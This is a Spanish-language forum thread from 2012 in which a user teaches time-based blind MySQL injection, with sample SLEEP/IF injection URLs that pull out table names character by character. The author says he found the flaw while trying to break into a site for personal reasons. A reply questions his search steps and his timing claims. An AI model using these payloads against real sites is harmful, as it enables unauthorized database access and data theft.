This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

Blind Mysqli Time Based [Teoria]

  • 3 Replies
  • 3927 Views

0 Members and 1 Guest are viewing this topic.

Offline q3rv0

  • *
  • Underc0der
  • Posts: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • View Profile
    • q3rv0
    • Email

Blind Mysqli Time Based [Teoria]

  • on: December 21, 2012, 10:45:57 pm
Mientras "auditaba" una web, lo digo entre comillas por que no me dedico a eso en lo laboral, mas bien me encontraba tratando de ingresar a un sitio por cuestiones personales, me encontre con una variante de inyeccion sql dando por descartado las demas a travez de las respuestas que generaba el servidor, una "Blind mysqli basada en tiempo", paso a explicar a quienes no se encuntren familiarizados con este tipo de inyeccion.
Basicamente una "Blind mysqli basada en tiempo" se trata de inyectar a ciegas como toda blind, en mi caso utilizando la tecnica de busqueda binaria (la mas comunmente utilizada en estas situaciones) pero se da cuando la aplicacion muestra el mismo mensaje TRUE OR FALSE, es decir que da los mismo inyectar un OR 1=1 que un OR 2+5/87=9999999999 el sitio web nos seguira mostrando el mismo mensaje de error, o puede deberse a realizar una carga incorrecta del contenido web, o cualquier otra desvariacion en el sitio, da lo mismo la aplicacion resulta vulnerable pero no podremos deducir cual es la inyeccion correcta.
Para estas situaciones, podemos hacer uso de la funcion sleep() y la estructura condicional if(), ahora paso a explicar la sintaxis de cada una de estas.

La sintaxis de if es la siguiente:

if(<condicion>,<si la condicion se cumple>,<si la condicion no se cumple>)

Por ejemplo:

Code: You are not allowed to view links. Register or Login
mysql> select if(1=1, 'Verdadero es igual!', 'Falso no es igual!');
+------------------------------------------------------+
| if(1=1, 'Verdadero es igual!', 'Falso no es igual!') |
+------------------------------------------------------+
| Verdadero es igual!                                  |
+------------------------------------------------------+
1 row in set (0.00 sec)

sleep() se utiliza para producir una pausa de tantos segundos, vamos a combinarlo con if() e imponerlo si la condicion no se cumple.
Code: You are not allowed to view links. Register or Login
mysql> select if(1='q3rv0', 'Verdadero es igual!', sleep(3));
+------------------------------------------------+
| if(1='q3rv0', 'Verdadero es igual!', sleep(3)) |
+------------------------------------------------+
| 0                                              |
+------------------------------------------------+
1 row in set, 1 warning (3.00 sec)


Como vemos la condicion dio como resultado falsa y se le introdujo un retardo de 3 seg ante dicha respuesta.

ahora se pueden imaginar el resultado del vector al combinar ambas funciones con una blind sqli??

No se trata de nada rebuscado, solo hay que utilizar como condicion el vector sqli para dicha inyeccion por ejemplo:

Empezemos desde cero, supongamos que encontraron una web vulnerable que da con el perfil de este tipo de inyeccion y queremos verificar que en realidad se trata de esta, comenzariamos por introcir el siguiente vector en el parametro devil.
Code: You are not allowed to view links. Register or Login
http://vuln-bsqli-based-time/?devil=5 or 1=if(1=1,sleep(5),0)--   > 5 segundos(TRUE)

http://vuln-bsqli-based-time/?devil=5 or 1=if(1=9999,sleep(5),0)--  > FALSE

Ahora ya nos damos una idea de como inyectar en la aplicacion comenzando por obtener el listado de las tablas en la base de datos, normalmente en una blind sqli seria de la siguiente manera:

Code: You are not allowed to view links. Register or Login
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15-- TRUE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50-- TRUE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100-- FALSE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68-- FALSE

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67-- TRUE

Veamos como queda armado el vector haciendo uso de nuestro amigo "el tiempo":


Code: You are not allowed to view links. Register or Login
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15,sleep(5),0)-- TRUE 5 segundos

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50,sleep(5),0)-- TRUE 5 segundos

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100,sleep(5),0)-- FALSE

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68,sleep(5),0)-- FALSE

http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67,sleep(5),0)-- TRUE 5 segundos

Sencillo, lo unico que tiene de rebuscado esta tecnica es mantener la pasciencia mienstras se lleva a cabo la inyeccion manualmente.

Besitos!
           

[Q]3rV[0]   

Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login

Offline Abnormality

  • *
  • Underc0der
  • Posts: 392
  • Actividad:
    0%
  • Reputación 0
  • %SystemRoot%
    • View Profile
    • Email

Re:Blind Mysqli Time Based [Teoria]

  • on: December 21, 2012, 11:08:54 pm
Esta buena esta teoria. 2 cosas, una: porque usas numeros aparentemente aleatorios cuando haces la comparacion de > en vez de usar busqueda binaria? La segunda es que el sleep (5) de MySQL en la experiencia que tuve dura 15 segundos, no dura 5.

Offline q3rv0

  • *
  • Underc0der
  • Posts: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • View Profile
    • q3rv0
    • Email

Re:Blind Mysqli Time Based [Teoria]

  • on: December 21, 2012, 11:41:43 pm
Quote
Esta buena esta teoria. 2 cosas, una: porque usas numeros aparentemente aleatorios cuando haces la comparacion de > en vez de usar busqueda binaria?
No entiendo esta pregunta? estoy usando busqueda binaria...con respecto a lo de los 5 seg tenes toda la razon, tambien se mezcla con el delay de HTTP puede durar mas incluso pero a nivel mysql dura 5 seg exactos
Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login

Offline Abnormality

  • *
  • Underc0der
  • Posts: 392
  • Actividad:
    0%
  • Reputación 0
  • %SystemRoot%
    • View Profile
    • Email

Re:Blind Mysqli Time Based [Teoria]

  • on: December 22, 2012, 02:05:23 am
You are not allowed to view links. Register or Login
Quote
Esta buena esta teoria. 2 cosas, una: porque usas numeros aparentemente aleatorios cuando haces la comparacion de > en vez de usar busqueda binaria?
No entiendo esta pregunta? estoy usando busqueda binaria...con respecto a lo de los 5 seg tenes toda la razon, tambien se mezcla con el delay de HTTP puede durar mas incluso pero a nivel mysql dura 5 seg exactos

Pero si es binaria porque pasas de 15 a 50 despues a 100 y despues a 68? Cual seria el range?

Ah si? Que raro, yo porque inyectando una sentencia falsa (o sea sin sleep) dura exactamente 0.1 segundos en cierta web usando WGET (que te marca el tiempo exacto) Y usando un sleep (5) tarda 15 segundos exactos por mas que lo haga varias veces asi que no sera un delay de HTTP. Ahora me doy cuenta que es raro...